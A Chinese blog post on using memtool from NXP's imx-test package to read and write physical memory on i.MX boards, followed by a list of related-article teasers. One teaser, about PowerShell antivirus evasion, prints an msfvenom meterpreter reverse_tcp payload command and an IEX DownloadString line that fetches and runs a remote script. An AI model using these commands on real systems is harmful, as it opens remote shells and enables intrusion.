GNU/Linux - memtool使用

devtools/2024/9/24 21:28:50/

在Yocto中为NXP的i.MX系列芯片构建Linux系统时,可以加入一些实用工具,比如直接操作内存的memtool。

这些工具在imx-test包中,比如imx-test_git.bb里。

比如在imx-image-core.bb中,IMAGE_INSTALL += "imx-test" ,在build出来的image文件里就会包含这些工具。烧写到板子上,在文件系统中找到工具就可以使用。

或者可以使用预先编译好的二进制工具,copy到板子里来运行也可以。

比如我将官方提供的二进制烧写文件mount到Ubuntu上,再从里面copy出memtool,copy到板子上,运行如下:

~# memtool

Usage:

Read memory: memtool [-8 | -16 | -32] <phys addr> <count>

Write memory: memtool [-8 | -16 | -32] <phys addr>=<value>

List SOC module: memtool *. or memtool .

Read register:  memtool UART1.*

                memtool UART1.UMCR

                memtool UART1.UMCR.MDEN

                memtool UART1.-

Write register: memtool UART.UMCR=0x12

                memtool UART.UMCR.MDEN=0x1

Default access size is 32-bit.

Address, count and value are all in hex.

To support autocompete feature please run below command:

     complete -o nospace -C /unit_tests/memtool memtool

比如,我在芯片手册上考到一个寄存的地址,想查这个寄存器的值:

# memtool 0x43830054 1

E

Reading 0x1 count starting at address 0x43830054

0x43830054:  06FD4C3C

默认读取的是32bit,4字节内容。1表示1个单位。


http://www.ppmy.cn/devtools/94592.html

相关文章

C# VideoCapture 多路视频播放

目录 效果 项目 代码 下载 效果 C#VideoCapture多路视频播放 项目 代码 using OpenCvSharp; using System; using System.Collections.Concurrent; using System.Collections.Generic; using System.Diagnostics; using System.Threading; using System.Threading.Tasks…

大数据机器学习算法岗位分析推荐:基于Python的招聘大数据爬虫可视化分析推荐系统

文章目录 大数据推荐算法招聘数据分析&#xff1a;基于Python招聘大数据爬虫数据可视化分析推荐系统一、项目概述二、项目说明三、研究意义四、系统总体架构设计总体框架技术架构 五、部分模块核心代码六、数据采集模块七、数据管理模块八、部分数据展示九、项目截图系统用户登…

arch 系统清理和瘦身

节省磁盘空间 pacman -Sc # 清理未安装软件包 pacman -Scc # 清理缓存中所有内容 yay -Scc # 如果安装了yay 直接用yay清理就好查看所有已经安装的包&#xff0c;看需求删除 # 列出所有本地软件包&#xff08;-Q,query查询本地&#xff1b;-q省略版本号&#xff09;sudo pa…

使用 TensorRT 进行推理的系统讲解

使用 TensorRT 进行推理需要几个主要步骤&#xff0c;从创建 Runtime 到最终的推理。这些步骤包括&#xff1a; 创建 Runtime 反序列化引擎 创建 Execution Context 分配内存 图像前处理 执行推理 结果后处理 以下是对每一步的详细解释&#xff1a; 1. 创建 Runtime 目的…

LSPosed模块开发第一篇

安装LSPosed 设备pixel 3a Android 12 Magisk root 环境 LSPosed地址&#xff1a; https://github.com/LSPosed/LSPosed 下载zygisk的&#xff0c;riru没效果 https://github.com/LSPosed/LSPosed/releases 下载完push 到手机&#xff0c;Magisk 安装模块 Magisk设置里面的Z…

Leetcode—1239. 串联字符串的最大长度【中等】(unordered_set)

2024每日刷题&#xff08;155&#xff09; Leetcode—1239. 串联字符串的最大长度 实现代码 class Solution { public:bool charSet(string & s) {unordered_set<char> charSet(s.begin(), s.end());// true表示有重复// false表示唯一return s.size() ! charSet.s…

WEB渗透免杀篇-Powershell免杀

Invoke-Shellcode 生成code >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.108 LPORT12138 -f powershell -o /var/www/html/1.ps1 目标执行 > powershell -ep bypass > IEX(New-Object Net.WebClient).DownloadString(http://192.168.0.108/ps/…

举例说明自然语言处理(NLP)技术。

自然语言处理&#xff08;NLP&#xff09;技术是对人类语言进行处理和分析的一种技术。下面是一些NLP技术的例子&#xff1a; 词性标注&#xff1a;将给定句子中的每个单词标记为其相应的词性&#xff08;名词、动词、形容词等&#xff09;。 例如&#xff1a;输入句子 "I…